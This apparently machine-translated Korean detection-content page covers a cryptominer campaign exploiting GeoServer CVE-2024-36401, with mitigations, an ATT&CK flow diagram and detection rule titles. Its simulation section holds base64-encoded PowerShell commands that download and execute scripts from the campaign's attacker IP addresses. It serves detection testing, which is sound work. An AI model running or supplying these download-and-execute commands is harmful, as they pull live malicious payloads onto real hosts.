GeoServer 공격받다: 악성코드 코인 마이너 캠페인
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
위협 행위자들은 GeoServer의 원격 코드 실행 취약점 CVE-2024-36401을 활용하여 암호화폐 채굴기와 NetCat을 패치되지 않은 서버에 배포하고 있습니다. 이 활동은 여러 악성 도메인과 IP 주소에서 XMRig을 다운로드하고 실행하기 위해 PowerShell, Bash, 및 certutil을 사용합니다. 여러 다운로더 스크립트와 드로퍼가 사용되며, 일반적으로 ZIP 아카이브로 패키지화되어 NSSM을 통해 서비스로 지속됩니다. 주요 목표는 무단 채굴을 위한 컴퓨팅 자원을 확보하는 것입니다.
조사
보고서는 인코딩된 PowerShell, Bash 기반 페쳐, 및 certutil을 사용하여 채굴기 페이로드를 가져오는 세 가지 변종(A, B, C)을 설명합니다. pool.supportxmr.com 및 여러 aaaaaaaaa.cyou 하위 도메인입니다. 전달 메커니즘에는 배치 스크립트, ZIP 번들, 그리고 시스템d라는 맞춤형 다운로더와 HTTP 기본 인증 자격 증명이 포함됩니다. 분석가는 탐지 및 범위를 지원하기 위해 주요 지표—URL, IP 주소, 파일 이름—를 추출했습니다.
완화
CVE-2024-36401를 해결하는 GeoServer 패치를 적용하고 최신 지원 릴리스로 배포를 유지하세요. 알려진 채굴 풀 및 관련 인프라에 대한 아웃바운드 연결을 차단하고 인코딩된 PowerShell 또는 Bash 실행을 모니터링하세요. 비관리자 컨텍스트의 certutil 사용을 제한하고 NSSM을 통해 설치된 무단 서비스의 방지를 위해 애플리케이션 허용 목록을 강제하세요.
응답
관측된 명령줄, 해시, 네트워크 지표에 대한 탐지를 구현하세요. 영향을 받은 호스트를 격리하고 채굴기 서비스 및 지속성 아티팩트를 제거하며 부차적인 페이로드가 있는지 포렌식 조사를 수행하세요. 노출된 자격 증명을 교체하고 관리 액세스를 위해 다중 요소 인증을 요구하세요.
“graph TB %% Class definitions classDef action fill:#ffcc99 %% Action/Technique nodes classDef builtin fill:#e0e0e0 %% Tool and builtu2011in utility nodes classDef malware fill:#ff9999 %% Malware nodes %% Node definitions tech_initial_access[“<b>기술</b> – <b>T1210 원격 서비스의 이용</b><br/>설명: GeoServer의 CVE-2024-36401 취약점을 코드 원격 실행을 위해 악용”] class tech_initial_access action tool_geoserver[“<b>도구</b> – <b>이름</b>: GeoServer<br/><b>취약점</b>: CVE-2024-36401”] class tool_geoserver builtin tech_execution_ps[“<b>기술</b> – <b>T1059.001 PowerShell</b><br/>설명: 인코딩된 PowerShell 명령을 실행하여 악성 스크립트를 다운로드 및 실행”] class tech_execution_ps action tool_powershell[“<b>도구</b> – <b>이름</b>: PowerShell”] class tool_powershell builtin tech_obfuscation[“<b>기술</b> – <b>T1027 혼란스러운 파일 또는 정보</b><br/>설명: certutil과 Bash를 이용하여 Base64로 인코딩된 페이로드 전달”] class tech_obfuscation action tool_certutil[“<b>도구</b> – <b>이름</b>: certutil”] class tool_certutil builtin tool_bash[“<b>도구</b> – <b>이름</b>: Bash”] class tool_bash builtin tech_deobfuscation[“<b>기술</b> – <b>T1140 해독/디코드 공격</b><br/>설명: 실행 전에 호스트에서 Base64 페이로드 디코딩”] class tech_deobfuscation action tech_defense_evasion[“<b>기술</b> – <b>T1562 방어 방해</b><br/>설명: Windows Defender 비활성화 및 파일/경로 제외 설정 추가”] class tech_defense_evasion action tool_windows_defender[“<b>도구</b> – <b>이름</b>: Windows Defender”] class tool_windows_defender builtin tech_persistence[“<b>기술</b> – <b>T1543.002 시스템 프로세스 생성 또는 수정: Systemd 서비스</b><br/>설명: NSSM을 사용하여 지속적인 서비스로 XMRig 설치”] class tech_persistence action tool_nssm[“<b>도구</b> – <b>이름</b>: NSSM (Non-Sucking Service Manager)”] class tool_nssm builtin malware_xmrig[“<b>악성 코드</b> – <b>이름</b>: XMRig<br/><b>목적</b>: 암호화폐 채굴”] class malware_xmrig malware tech_impact[“<b>기술</b> – <b>T1496.001 컴퓨트 하이재킹</b><br/>설명: 암호화폐 채굴을 위해 CPU 사이클 하이재킹”] class tech_impact action tech_indirect_execution[“<b>기술</b> – <b>T1202 간접 명령 실행</b><br/>설명: PowerShell이 Bash 및 Netcat을 통해 추가 스크립트 실행”] class tech_indirect_execution action tool_netcat[“<b>도구</b> – <b>이름</b>: Netcat”] class tool_netcat builtin %% Connections tool_geoserver u002du002d>|악용됨| tech_initial_access tech_initial_access u002du002d>|활성화함| tech_execution_ps tech_execution_ps u002du002d>|사용함| tool_powershell tech_execution_ps u002du002d>|다운로드함| tool_certutil tech_execution_ps u002du002d>|호출함| tool_bash tech_execution_ps u002du002d>|호출함| tool_netcat tool_certutil u002du002d>|인코딩된 페이로드 배달| tech_obfuscation tool_bash u002du002d>|인코딩된 페이로드 실행| tech_obfuscation tech_obfuscation u002du002d>|필요함| tech_deobfuscation tech_deobfuscation u002du002d>|환경 준비| tech_defense_evasion tech_defense_evasion u002du002d>|비활성화| tool_windows_defender tech_defense_evasion u002du002d>|유도함| tech_persistence tech_persistence u002du002d>|사용함| tool_nssm tool_nssm u002du002d>|설치함| malware_xmrig malware_xmrig u002du002d>|실행함| tech_impact tech_execution_ps u002du002d>|유발함| tech_indirect_execution tech_indirect_execution u002du002d>|사용함| tool_bash tech_indirect_execution u002du002d>|사용함| tool_netcat tech_indirect_execution u002du002d>|지원함| malware_xmrig “
공격 흐름
탐지
Windows Defender 보호 비활성화 (레지스트리 이벤트 통해)
보기
Windows Defender 환경설정의 의심스러운 변경 (PowerShell 통해)
보기
가능한 지속성 지점 [ASEP – 소프트웨어/NTUSER Hive] (레지스트리 이벤트 통해)
보기
의심스러운 디렉토리 / 바이너리 / 스크립트를 가리키는 Schtasks (명령줄 통해)
보기
공용 사용자 프로필에 의심스러운 파일 (파일 이벤트 통해)
보기
PowerShell을 통한 다운로드 또는 업로드 (명령줄 통해)
보기
IOCs (SourceIP)를 탐지: GeoServer를 대상으로 하는 악성코드 코인 채굴기 공격 사례
보기
IOCs (DestinationIP)를 탐지: GeoServer를 대상으로 하는 악성코드 코인 채굴기 공격 사례
보기
IOCs (HashMd5)를 탐지: GeoServer를 대상으로 하는 악성코드 코인 채굴기 공격 사례
보기
GeoServer 취약점을 악용한 악성 페이로드 다운로드를 위한 Certutil 사용 탐지 [Windows 프로세스 생성]
보기
GeoServer 취약점을 타겟으로 한 인코딩된 PowerShell 명령 탐지 [Windows PowerShell]
보기
시뮬레이션 실행
사전 요구 사항: Telemetry & Baseline Pre-flight Check가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적 배술 기법(TTP)의 정확한 실행을 상세히 설명합니다. 명령 및 서사는 식별된 TTP와 직접적으로 반영되며 탐지 논리에 의해 예상되는 정확한 텔레메터리를 생성하는 것을 목표로 합니다.
-
공격 서사 및 명령:
공격자는 취약한 GeoServer 구성 파일을 다운로드하고 이를 실행한 후 암호화폐 채굴기를 드롭하는 악성 Base64 페이로드를 획득했습니다. 단순한 스크립트-차단 탐지를 피하기 위해, 공격자는-enc스위치를 미리 인코딩된 문자열(두 개의 알려진 IOC 중 하나)과 함께 사용합니다. 공격자는 손상된 Windows 호스트에서 로컬로 페이로드를 실행하며, 이는 규칙이 감시하는 정확한 Base64 문자열을 포함한powershell.exe프로세스 생성을 유발합니다. -
회귀 테스트 스크립트:
# ------------------------------------------------- # Sigma 규칙을 트리거하는 회귀 스크립트 # ------------------------------------------------- # 페이로드 1 (첫 번째 IOC와 일치) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # 페이로드 2 (두 번째 IOC와 일치) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
정리 명령:
# ------------------------------------------------- # 정리 - 남아있는 모든 PowerShell 페이로드 종료 # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force